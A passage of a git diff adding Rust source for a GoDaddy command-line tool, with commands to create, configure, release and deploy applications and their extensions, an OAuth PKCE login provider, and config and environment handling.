.map(|c| c.token.clone()) + .unwrap_or_default(); + let base_url = api_url_for_env(&ctx.middleware.env); + Ok(ApplicationClient::new(base_url, token)) +} + +fn client_err(e: crate::application::client::ClientError) -> cli_engine::CliCoreError { + cli_engine::CliCoreError::message(e.to_string()) +} + +fn arg_str<'a>(ctx: &'a cli_engine::CommandContext, key: &str) -> &'a str { + ctx.args.get(key).and_then(|v| v.as_str()).unwrap_or("") +} + +pub fn application_group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new( + GroupSpec::new("application", "Manage GoDaddy applications").with_alias("app"), + ) + .with_command(list_command()) + .with_command(info_command()) + .with_command(init_command()) + .with_command(validate_command()) + .with_command(update_command()) + .with_command(enable_command()) + .with_command(disable_command()) + .with_command(archive_command()) + .with_command(release_command()) + .with_command(deploy_command()) + .with_group(add_group()) +} + +fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("list", "List all applications") + .with_system("applications") + .with_tier(Tier::Read) + .with_default_fields("name,label,status"), + |ctx| async move { + let client = make_client(&ctx)?; + let data = client.list_applications().await.map_err(client_err)?; + Ok(CommandResult::new(data).with_next_actions(vec![ + NextAction::new( + "application info --name ", + "Get details for a specific application", + ) + .with_param("name", NextActionParam::required()), + NextAction::new( + "application init --name --description --url ", + "Initialize a new application", + ), + ])) + }, + ) +} + +fn info_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("info", "Get application details") + .with_system("applications") + .with_tier(Tier::Read) + .with_arg( + clap::Arg::new("name") + .long("name") + .short('n') + .value_name("NAME") + .required(true) + .help("Application name"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let client = make_client(&ctx)?; + let data = client.get_application(&name).await.map_err(client_err)?; + Ok( + CommandResult::new(data["application"].clone()).with_next_actions(vec![ + NextAction::new( + "application release --application-id --version ", + "Create a release", + ), + NextAction::new( + format!("application deploy --name {name}"), + "Deploy this application", + ) + .with_param("name", NextActionParam { value: Some(name.clone()), required: true, ..Default::default() }), + NextAction::new( + "application update --id ", + "Update application metadata", + ), + ]), + ) + }, + ) +} + +fn init_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("init", "Create and initialize a new application") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .long("name") + .short('n') + .value_name("NAME") + .required(true) + .help("Application name (used as label if --label is not set)"), + ) + .with_arg( + clap::Arg::new("label") + .long("label") + .value_name("LABEL") + .help("Display label (defaults to name)"), + ) + .with_arg( + clap::Arg::new("description") + .long("description") + .value_name("TEXT") + .required(true) + .help("Application description"), + ) + .with_arg( + clap::Arg::new("url") + .long("url") + .value_name("URL") + .required(true) + .help("Application URL (must be public HTTPS)"), + ) + .with_arg( + clap::Arg::new("proxy-url") + .long("proxy-url") + .value_name("URL") + .help("Proxy URL (defaults to url)"), + ) + .with_arg( + clap::Arg::new("scopes") + .long("scopes") + .value_name("SCOPES") + .help("Comma-separated authorization scopes"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let label = ctx + .args + .get("label") + .and_then(|v| v.as_str()) + .unwrap_or(&name) + .to_owned(); + let description = arg_str(&ctx, "description").to_owned(); + let url = arg_str(&ctx, "url").to_owned(); + let proxy_url = ctx + .args + .get("proxy-url") + .and_then(|v| v.as_str()) + .unwrap_or(&url) + .to_owned(); + let scopes: Vec = ctx + .args + .get("scopes") + .and_then(|v| v.as_str()) + .map(|s| s.split(',').map(|p| p.trim().to_owned()).collect()) + .unwrap_or_else(|| vec!["apps.app-registry:read".to_owned()]); + + let client = make_client(&ctx)?; + let data = client + .create_application(json!({ + "name": name, + "label": label, + "description": description, + "url": url, + "proxyUrl": proxy_url, + "authorizationScopes": scopes, + })) + .await + .map_err(client_err)?; + + let app = &data["createApplication"]; + let client_id = app["clientId"].as_str().unwrap_or("").to_owned(); + + // Write godaddy.toml for the created application + let config_path = + crate::config::config_path(Some(ctx.middleware.env.as_str())); + let config = crate::config::Config { + name: name.clone(), + client_id: client_id.clone(), + description: Some(description.clone()), + version: "0.0.0".to_owned(), + url: url.clone(), + proxy_url, + authorization_scopes: scopes, + actions: vec![], + subscriptions: None, + dependencies: vec![], + extensions: None, + }; + crate::config::write_config(&config_path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + + Ok(CommandResult::new(app.clone()).with_next_actions(vec![ + NextAction::new( + "application add action --name --url ", + "Add an action to godaddy.toml", + ), + NextAction::new("application validate", "Validate the generated godaddy.toml"), + NextAction::new( + "application release --application-id --version 0.0.1", + "Create the first release", + ), + ])) + }, + ) +} + +fn validate_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("validate", "Validate godaddy.toml config") + .with_system("applications") + .with_tier(Tier::Read) + .with_arg( + clap::Arg::new("config") + .long("config") + .value_name("PATH") + .help("Path to godaddy.toml (defaults to ./godaddy.toml)"), + ), + |ctx| async move { + let path_str = ctx + .args + .get("config") + .and_then(|v| v.as_str()) + .map(|s| s.to_owned()); + let path = path_str + .as_deref() + .map(std::path::Path::new) + .map(std::path::Path::to_owned) + .unwrap_or_else(|| { + crate::config::config_path(Some(ctx.middleware.env.as_str())) + }); + crate::config::read_config(&path).map_err(|e| { + cli_engine::CliCoreError::message(format!("invalid config: {e}")) + })?; + Ok(CommandResult::new( + json!({ "valid": true, "path": path.display().to_string() }), + )) + }, + ) +} + +fn update_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("update", "Update an application") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("id") + .long("id") + .value_name("ID") + .required(true) + .help("Application ID"), + ) + .with_arg( + clap::Arg::new("label") + .long("label") + .value_name("LABEL") + .help("New label"), + ) + .with_arg( + clap::Arg::new("description") + .long("description") + .value_name("TEXT") + .help("New description"), + ), + |ctx| async move { + let id = arg_str(&ctx, "id").to_owned(); + let mut input = serde_json::Map::new(); + if let Some(label) = ctx.args.get("label").and_then(|v| v.as_str()) { + input.insert("label".to_owned(), json!(label)); + } + if let Some(desc) = ctx.args.get("description").and_then(|v| v.as_str()) { + input.insert("description".to_owned(), json!(desc)); + } + let client = make_client(&ctx)?; + let data = client + .update_application(&id, json!(input)) + .await + .map_err(client_err)?; + let name = data["updateApplication"]["name"] + .as_str() + .unwrap_or("") + .to_owned(); + Ok( + CommandResult::new(data["updateApplication"].clone()).with_next_actions(vec![ + NextAction::new( + format!("application info --name {name}"), + "Inspect updated application", + ) + .with_param("name", NextActionParam { value: Some(name.clone()), required: true, ..Default::default() }), + NextAction::new( + format!("application deploy --name {name}"), + "Deploy updated application", + ) + .with_param("name", NextActionParam { value: Some(name), required: true, ..Default::default() }), + ]), + ) + }, + ) +} + +fn enable_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("enable", "Enable an application on a store") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .value_name("NAME") + .required(true) + .help("Application name"), + ) + .with_arg( + clap::Arg::new("store-id") + .long("store-id") + .value_name("STORE_ID") + .required(true) + .help("Store ID to enable the application on"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let store_id = arg_str(&ctx, "store-id").to_owned(); + let client = make_client(&ctx)?; + let data = client + .enable_application(json!({ "applicationName": name, "storeId": store_id })) + .await + .map_err(client_err)?; + Ok( + CommandResult::new(data["enableStoreApplication"].clone()).with_next_actions(vec![ + NextAction::new( + format!("application disable {name} --store-id {store_id}"), + "Disable the application on the same store", + ) + .with_param("name", NextActionParam { value: Some(name.clone()), required: true, ..Default::default() }) + .with_param("store-id", NextActionParam { value: Some(store_id.clone()), required: true, ..Default::default() }), + NextAction::new( + format!("application info --name {name}"), + "Inspect application", + ) + .with_param("name", NextActionParam { value: Some(name), required: true, ..Default::default() }), + ]), + ) + }, + ) +} + +fn disable_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("disable", "Disable an application on a store") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .value_name("NAME") + .required(true) + .help("Application name"), + ) + .with_arg( + clap::Arg::new("store-id") + .long("store-id") + .value_name("STORE_ID") + .required(true) + .help("Store ID to disable the application on"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let store_id = arg_str(&ctx, "store-id").to_owned(); + let client = make_client(&ctx)?; + let data = client + .disable_application(json!({ "applicationName": name, "storeId": store_id })) + .await + .map_err(client_err)?; + Ok( + CommandResult::new(data["disableStoreApplication"].clone()).with_next_actions( + vec![ + NextAction::new( + format!("application enable {name} --store-id {store_id}"), + "Re-enable the application on the same store", + ) + .with_param("name", NextActionParam { value: Some(name.clone()), required: true, ..Default::default() }) + .with_param("store-id", NextActionParam { value: Some(store_id.clone()), required: true, ..Default::default() }), + NextAction::new( + format!("application info --name {name}"), + "Inspect application", + ) + .with_param("name", NextActionParam { value: Some(name), required: true, ..Default::default() }), + ], + ), + ) + }, + ) +} + +fn archive_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("archive", "Archive an application") + .with_system("applications") + .with_tier(Tier::Destructive) + .with_arg( + clap::Arg::new("name") + .value_name("NAME") + .required(true) + .help("Application name"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let client = make_client(&ctx)?; + let app_data = client.get_application(&name).await.map_err(client_err)?; + let app_id = app_data["application"]["id"] + .as_str() + .ok_or_else(|| { + cli_engine::CliCoreError::message(format!( + "application '{name}' not found" + )) + })? + .to_owned(); + let data = client.archive_application(&app_id).await.map_err(client_err)?; + Ok( + CommandResult::new(data["archiveApplication"].clone()).with_next_actions(vec![ + NextAction::new("application list", "List remaining applications"), + ]), + ) + }, + ) +} + +fn release_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("release", "Create a new application release") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("application-id") + .long("application-id") + .value_name("ID") + .required(true) + .help("Application ID"), + ) + .with_arg( + clap::Arg::new("version") + .long("version") + .value_name("VERSION") + .required(true) + .help("Semver release version"), + ) + .with_arg( + clap::Arg::new("description") + .long("description") + .value_name("TEXT") + .help("Release description"), + ), + |ctx| async move { + let app_id = arg_str(&ctx, "application-id").to_owned(); + let version = arg_str(&ctx, "version").to_owned(); + let description = + ctx.args.get("description").and_then(|v| v.as_str()).map(str::to_owned); + let mut input = json!({ "applicationId": app_id, "version": version }); + if let Some(desc) = description { + input["description"] = json!(desc); + } + let client = make_client(&ctx)?; + let data = client.create_release(input).await.map_err(client_err)?; + Ok(CommandResult::new(data["createRelease"].clone()).with_next_actions(vec![ + NextAction::new("application deploy --name ", "Deploy this release"), + NextAction::new("application info --name ", "Inspect application"), + ])) + }, + ) +} + +fn deploy_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_streaming( + CommandSpec::new("deploy", "Deploy an application, streaming progress events") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .long("name") + .short('n') + .value_name("NAME") + .required(true) + .help("Application name"), + ), + |ctx, sender: StreamSender| async move { + let name = ctx.args.get("name").and_then(|v| v.as_str()).unwrap_or("").to_owned(); + let env = ctx.middleware.env.clone(); + let token = ctx.credential.as_ref().map(|c| c.token.clone()).unwrap_or_default(); + let base_url = api_url_for_env(&env); + let client = ApplicationClient::new(base_url, token); + + sender + .send(json!({ "type": "step", "name": "auth.check", "status": "completed" })) + .await; + + // Read the local godaddy.toml + sender + .send(json!({ "type": "step", "name": "config.read", "status": "started" })) + .await; + let config_path = crate::config::config_path(Some(&env)); + let config = crate::config::read_config(&config_path).map_err(|e| { + cli_engine::CliCoreError::message(format!("config read failed: {e}")) + })?; + sender + .send(json!({ "type": "step", "name": "config.read", "status": "completed", "path": config_path.display().to_string() })) + .await; + + // Look up the application and its latest release + sender + .send(json!({ "type": "step", "name": "application.lookup", "status": "started" })) + .await; + let app_data = client + .get_application_with_releases(&name) + .await + .map_err(client_err)?; + let app = &app_data["application"]; + if app.is_null() { + return Err(cli_engine::CliCoreError::message(format!( + "application '{name}' not found" + ))); + } + let application_id = app["id"].as_str().unwrap_or("").to_owned(); + sender + .send(json!({ "type": "step", "name": "application.lookup", "status": "completed", "id": application_id })) + .await; + + // Resolve latest release + sender + .send(json!({ "type": "step", "name": "release.lookup", "status": "started" })) + .await; + let release_id = app["releases"]["edges"] + .as_array() + .and_then(|edges| edges.first()) + .and_then(|e| e["node"]["id"].as_str()) + .map(str::to_owned); + let Some(release_id) = release_id else { + return Err(cli_engine::CliCoreError::message(format!( + "application '{name}' has no releases — create one first with: godaddy application release --application-id {application_id} --version 0.0.1" + ))); + }; + sender + .send(json!({ "type": "step", "name": "release.lookup", "status": "completed", "releaseId": release_id })) + .await; + + // Process each extension + let extensions = collect_extensions(&config); + let total = extensions.len(); + sender + .send(json!({ "type": "step", "name": "extensions", "status": "started", "total": total })) + .await; + + for (i, ext) in extensions.iter().enumerate() { + deploy_extension( + &client, + &sender, + &application_id, + &release_id, + ext, + i + 1, + total, + ) + .await?; + } + + sender + .send(json!({ "type": "step", "name": "deploy", "status": "completed", "name": name, "extensions": total })) + .await; + Ok(()) + }, + ) +} + +/// Collect extension source files from config, returning (name, source_path, ext_type) triples. +fn collect_extensions( + config: &crate::config::Config, +) -> Vec<(String, String, crate::extension::ExtensionType)> { + let mut result = Vec::new(); + if let Some(exts) = &config.extensions { + for e in &exts.embed { + result.push((e.name.clone(), e.source.clone(), crate::extension::ExtensionType::Embed)); + } + for e in &exts.checkout { + result.push(( + e.name.clone(), + e.source.clone(), + crate::extension::ExtensionType::Checkout, + )); + } + if let Some(blocks) = &exts.blocks { + result.push(( + "blocks".to_owned(), + blocks.source.clone(), + crate::extension::ExtensionType::Blocks, + )); + } + } + result +} + +async fn deploy_extension( + client: &ApplicationClient, + sender: &StreamSender, + application_id: &str, + release_id: &str, + (ext_name, source_path, ext_type): &(String, String, crate::extension::ExtensionType), + index: usize, + total: usize, +) -> cli_engine::Result<()> { + // ---- Bundle ---- + sender + .send(json!({ + "type": "progress", + "name": "extension.bundle", + "status": "started", + "extensionName": ext_name, + "percent": ((index - 1) * 100 / total.max(1)), + })) + .await; + + let source = std::path::Path::new(source_path); + let ext_dir = source.parent().unwrap_or(std::path::Path::new(".")); + let bundle = crate::extension::bundle_extension(source, *ext_type, ext_dir) + .await + .map_err(|e| cli_engine::CliCoreError::message(format!("bundle failed for '{ext_name}': {e}")))?; + + sender + .send(json!({ + "type": "progress", + "name": "extension.bundle", + "status": "completed", + "extensionName": ext_name, + "sha256": bundle.sha256, + })) + .await; + + // ---- Security scan ---- + sender + .send(json!({ + "type": "progress", + "name": "extension.scan", + "status": "started", + "extensionName": ext_name, + })) + .await; + + let content = String::from_utf8_lossy(&bundle.bytes); + let findings = crate::extension::scan_bundle(&content, source_path); + + if crate::extension::is_blocked(&findings) { + let blocked_msgs: Vec = findings + .iter() + .filter(|f| f.severity == crate::extension::Severity::Block) + .map(|f| { + if f.snippet.is_empty() { + format!(" {} ({}:{}): {}", f.rule_id, f.file, f.line, f.message) + } else { + format!(" {} ({}:{}): {}\n > {}", f.rule_id, f.file, f.line, f.message, f.snippet) + } + }) + .collect(); + return Err(cli_engine::CliCoreError::message(format!( + "security scan blocked deployment of '{ext_name}':\n{}", + blocked_msgs.join("\n") + ))); + } + + sender + .send(json!({ + "type": "progress", + "name": "extension.scan", + "status": "completed", + "extensionName": ext_name, + "findings": findings.len(), + })) + .await; + + let bytes = bundle.bytes; + + // Get presigned upload URL + sender + .send(json!({ "type": "progress", "name": "extension.upload", "status": "started", "extensionName": ext_name })) + .await; + + let upload_data = client + .generate_upload_url(json!({ + "applicationId": application_id, + "releaseId": release_id, + "contentType": "JS", + "target": ext_name, + })) + .await + .map_err(client_err)?; + + let upload = &upload_data["generateReleaseUploadUrl"]; + let upload_url = upload["url"].as_str().unwrap_or("").to_owned(); + + // Parse required headers from ["key:value"] array + let mut headers = serde_json::Map::new(); + if let Some(arr) = upload["requiredHeaders"].as_array() { + for h in arr { + if let Some(s) = h.as_str() + && let Some((k, v)) = s.split_once(':') + { + headers.insert(k.trim().to_owned(), json!(v.trim())); + } + } + } + + client + .upload_artifact(&upload_url, &json!(headers), bytes) + .await + .map_err(client_err)?; + + sender + .send(json!({ + "type": "progress", + "name": "extension.upload", + "status": "completed", + "extensionName": ext_name, + "percent": (index * 100 / total.max(1)), + })) + .await; + + Ok(()) +} + +pub fn add_group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new("add", "Add components to an application")) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("action", "Add an action to godaddy.toml") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .long("name") + .required(true) + .help("Action name"), + ) + .with_arg( + clap::Arg::new("url") + .long("url") + .required(true) + .help("Action URL"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let url = arg_str(&ctx, "url").to_owned(); + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + config.actions.push(crate::config::ActionConfig { + name: name.clone(), + url: url.clone(), + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(json!({ "name": name, "url": url }))) + }, + )) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("subscription", "Add a webhook subscription to godaddy.toml") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("name") + .long("name") + .required(true) + .help("Subscription name"), + ) + .with_arg( + clap::Arg::new("url") + .long("url") + .required(true) + .help("Webhook URL"), + ) + .with_arg( + clap::Arg::new("events") + .long("events") + .num_args(1..) + .value_name("EVENT") + .required(true) + .help("Webhook event types"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let url = arg_str(&ctx, "url").to_owned(); + let events: Vec = ctx + .args + .get("events") + .and_then(|v| v.as_array()) + .map(|arr| arr.iter().filter_map(|v| v.as_str().map(str::to_owned)).collect()) + .unwrap_or_default(); + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + let subs = config.subscriptions.get_or_insert_with(|| { + crate::config::SubscriptionsConfig { webhook: vec![] } + }); + subs.webhook.push(crate::config::SubscriptionConfig { + name: name.clone(), + events: events.clone(), + url: url.clone(), + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(json!({ "name": name, "url": url, "events": events }))) + }, + )) + .with_group(add_extension_group()) +} + +pub fn add_extension_group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new("extension", "Add an extension to godaddy.toml")) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("embed", "Add an embed extension") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg(clap::Arg::new("name").long("name").required(true).help("Extension name")) + .with_arg( + clap::Arg::new("handle") + .long("handle") + .required(true) + .help("Unique handle"), + ) + .with_arg( + clap::Arg::new("source") + .long("source") + .required(true) + .help("Source file path"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let handle = arg_str(&ctx, "handle").to_owned(); + let source = arg_str(&ctx, "source").to_owned(); + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + let exts = config.extensions.get_or_insert_with(|| { + crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + } + }); + exts.embed.push(crate::config::EmbedExtensionConfig { + name: name.clone(), + handle: handle.clone(), + source, + targets: vec![], + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(json!({ "name": name, "handle": handle, "type": "embed" }))) + }, + )) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("checkout", "Add a checkout extension") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg(clap::Arg::new("name").long("name").required(true).help("Extension name")) + .with_arg( + clap::Arg::new("handle") + .long("handle") + .required(true) + .help("Unique handle"), + ) + .with_arg( + clap::Arg::new("source") + .long("source") + .required(true) + .help("Source file path"), + ), + |ctx| async move { + let name = arg_str(&ctx, "name").to_owned(); + let handle = arg_str(&ctx, "handle").to_owned(); + let source = arg_str(&ctx, "source").to_owned(); + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + let exts = config.extensions.get_or_insert_with(|| { + crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + } + }); + exts.checkout.push(crate::config::CheckoutExtensionConfig { + name: name.clone(), + handle: handle.clone(), + source, + targets: vec![], + }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new( + json!({ "name": name, "handle": handle, "type": "checkout" }), + )) + }, + )) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("blocks", "Add a blocks extension") + .with_system("applications") + .with_tier(Tier::Mutate) + .with_arg( + clap::Arg::new("source") + .long("source") + .required(true) + .help("Source file path"), + ), + |ctx| async move { + let source = arg_str(&ctx, "source").to_owned(); + let path = crate::config::config_path(Some(&ctx.middleware.env)); + let mut config = crate::config::read_config(&path) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + let exts = config.extensions.get_or_insert_with(|| { + crate::config::ExtensionsConfig { + embed: vec![], + checkout: vec![], + blocks: None, + } + }); + exts.blocks = + Some(crate::config::BlocksExtensionConfig { source: source.clone() }); + crate::config::write_config(&path, &config) + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(json!({ "source": source, "type": "blocks" }))) + }, + )) +} diff --git a/rust/src/application/mod.rs b/rust/src/application/mod.rs new file mode 100644 index 0000000..7430eef --- /dev/null +++ b/rust/src/application/mod.rs @@ -0,0 +1,8 @@ +pub mod client; +mod commands; + +use cli_engine::Module; + +pub fn module() -> Module { + Module::new("GPA", |_ctx| commands::application_group()) +} diff --git a/rust/src/auth.rs b/rust/src/auth.rs new file mode 100644 index 0000000..bc428cb --- /dev/null +++ b/rust/src/auth.rs @@ -0,0 +1,86 @@ +use async_trait::async_trait; +use cli_engine::{ + CliCoreError, Credential, Result, + auth::{AuthProvider, pkce::PkceAuthProvider}, +}; + +const OTE_API_URL: &str = "https://api.ote-godaddy.com"; +const PROD_API_URL: &str = "https://api.godaddy.com"; + +const OTE_CLIENT_ID: &str = "a502484b-d7b1-4509-aa88-08b391a54c28"; +const PROD_CLIENT_ID: &str = "39489dee-4103-4284-9aab-9f2452142bce"; + +const SCOPES: &[&str] = &["apps.app-registry:read", "apps.app-registry:write"]; + +/// Single auth provider that dispatches to env-specific PKCE providers. +/// +/// Env var overrides (per-env): +/// OTE: OTE_OAUTH_CLIENT_ID, OTE_OAUTH_AUTH_URL, OTE_OAUTH_TOKEN_URL +/// PROD: PROD_OAUTH_CLIENT_ID, PROD_OAUTH_AUTH_URL, PROD_OAUTH_TOKEN_URL +#[derive(Debug)] +pub struct GoDaddyAuthProvider { + ote: PkceAuthProvider, + prod: PkceAuthProvider, +} + +impl GoDaddyAuthProvider { + pub fn new() -> Self { + let ote = PkceAuthProvider::new( + "ote", + format!("{OTE_API_URL}/v2/oauth2/authorize"), + format!("{OTE_API_URL}/v2/oauth2/token"), + OTE_CLIENT_ID, + SCOPES, + ) + .with_app_id("godaddy") + .with_redirect_uri("http://localhost:7443/callback"); + + let prod = PkceAuthProvider::new( + "prod", + format!("{PROD_API_URL}/v2/oauth2/authorize"), + format!("{PROD_API_URL}/v2/oauth2/token"), + PROD_CLIENT_ID, + SCOPES, + ) + .with_app_id("godaddy") + .with_redirect_uri("http://localhost:7443/callback"); + + Self { ote, prod } + } + + fn provider_for(&self, env: &str) -> Result<&PkceAuthProvider> { + match env { + "ote" => Ok(&self.ote), + "prod" => Ok(&self.prod), + _ => Err(CliCoreError::message(format!( + "unknown environment {env:?}; expected \"ote\" or \"prod\"" + ))), + } + } +} + +#[async_trait] +impl AuthProvider for GoDaddyAuthProvider { + fn name(&self) -> &str { + "godaddy" + } + + async fn get_credential(&self, env: &str, command: &str, tier: &str) -> Result { + self.provider_for(env)?.get_credential(env, command, tier).await + } + + async fn status(&self, env: &str) -> Result { + self.provider_for(env)?.status(env).await + } + + async fn logout(&self, env: &str) -> Result<()> { + self.provider_for(env)?.logout(env).await + } + + async fn list_environments(&self) -> Result> { + let mut envs = self.ote.list_environments().await.unwrap_or_default(); + envs.extend(self.prod.list_environments().await.unwrap_or_default()); + envs.dedup(); + Ok(envs) + } +} diff --git a/rust/src/config/mod.rs b/rust/src/config/mod.rs new file mode 100644 index 0000000..b35413c --- /dev/null +++ b/rust/src/config/mod.rs @@ -0,0 +1,131 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Config { + pub name: String, + pub client_id: String, + #[serde(default)] + pub description: Option, + pub version: String, + pub url: String, + pub proxy_url: String, + pub authorization_scopes: Vec, + #[serde(default)] + pub actions: Vec, + #[serde(default)] + pub subscriptions: Option, + #[serde(default)] + pub dependencies: Vec, + #[serde(default)] + pub extensions: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ActionConfig { + pub name: String, + pub url: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SubscriptionsConfig { + #[serde(default)] + pub webhook: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct SubscriptionConfig { + pub name: String, + pub events: Vec, + pub url: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DependenciesConfig { + #[serde(default)] + pub app: Vec, + #[serde(default)] + pub feature: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DependencyConfig { + pub name: String, + pub version: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ExtensionsConfig { + #[serde(default)] + pub embed: Vec, + #[serde(default)] + pub checkout: Vec, + pub blocks: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct EmbedExtensionConfig { + pub name: String, + pub handle: String, + pub source: String, + #[serde(default)] + pub targets: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CheckoutExtensionConfig { + pub name: String, + pub handle: String, + pub source: String, + #[serde(default)] + pub targets: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct BlocksExtensionConfig { + pub source: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ExtensionTarget { + pub target: String, +} + +#[derive(Debug, thiserror::Error)] +pub enum ConfigError { + #[error("config file not found at {path}")] + NotFound { path: String }, + #[error("failed to read config: {0}")] + Io(#[from] std::io::Error), + #[error("failed to parse config: {0}")] + Parse(#[from] toml::de::Error), + #[error("failed to serialize config: {0}")] + Serialize(#[from] toml::ser::Error), +} + +pub fn read_config(path: &std::path::Path) -> Result { + if !path.exists() { + return Err(ConfigError::NotFound { + path: path.display().to_string(), + }); + } + let contents = std::fs::read_to_string(path)?; + let config: Config = toml::from_str(&contents)?; + Ok(config) +} + +pub fn write_config(path: &std::path::Path, config: &Config) -> Result<(), ConfigError> { + let contents = toml::to_string_pretty(config)?; + std::fs::write(path, contents)?; + Ok(()) +} + +/// Returns the config file path for a given env. +/// +/// - `None` / `"prod"` → `godaddy.toml` +/// - other envs → `godaddy..toml` +pub fn config_path(env: Option<&str>) -> std::path::PathBuf { + match env { + None | Some("prod") => std::path::PathBuf::from("godaddy.toml"), + Some(e) => std::path::PathBuf::from(format!("godaddy.{e}.toml")), + } +} diff --git a/rust/src/env/mod.rs b/rust/src/env/mod.rs new file mode 100644 index 0000000..6b514f9 --- /dev/null +++ b/rust/src/env/mod.rs @@ -0,0 +1,111 @@ +use cli_engine::{CommandResult, CommandSpec, GroupSpec, Module, RuntimeCommandSpec, RuntimeGroupSpec, Tier}; +use serde_json::json; + +const OTE_API_URL: &str = "https://api.ote-godaddy.com"; +const PROD_API_URL: &str = "https://api.godaddy.com"; +const KNOWN_ENVS: &[&str] = &["ote", "prod"]; + +fn gdenv_path() -> std::path::PathBuf { + let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string()); + std::path::PathBuf::from(home).join(".gdenv") +} + +pub fn get_env() -> Option { + std::fs::read_to_string(gdenv_path()) + .ok() + .map(|s| s.trim().to_owned()) + .filter(|s| !s.is_empty()) +} + +pub fn set_env(env: &str) -> std::io::Result<()> { + std::fs::write(gdenv_path(), env) +} + +fn api_url_for(env: &str) -> &'static str { + match env { + "prod" => PROD_API_URL, + _ => OTE_API_URL, + } +} + +pub fn module() -> Module { + Module::new("Admin", |_ctx| { + RuntimeGroupSpec::new(GroupSpec::new("env", "Manage active GoDaddy environment")) + .with_command(RuntimeCommandSpec::new( + CommandSpec::new("list", "List available environments") + .with_system("env") + .with_tier(Tier::Read), + |_cred, _args| async move { + let current = get_env().unwrap_or_else(|| "ote".to_owned()); + let envs: Vec<_> = KNOWN_ENVS + .iter() + .map(|&e| { + json!({ + "name": e, + "active": e == current, + "apiUrl": api_url_for(e), + }) + }) + .collect(); + Ok(CommandResult::new(json!(envs))) + }, + )) + 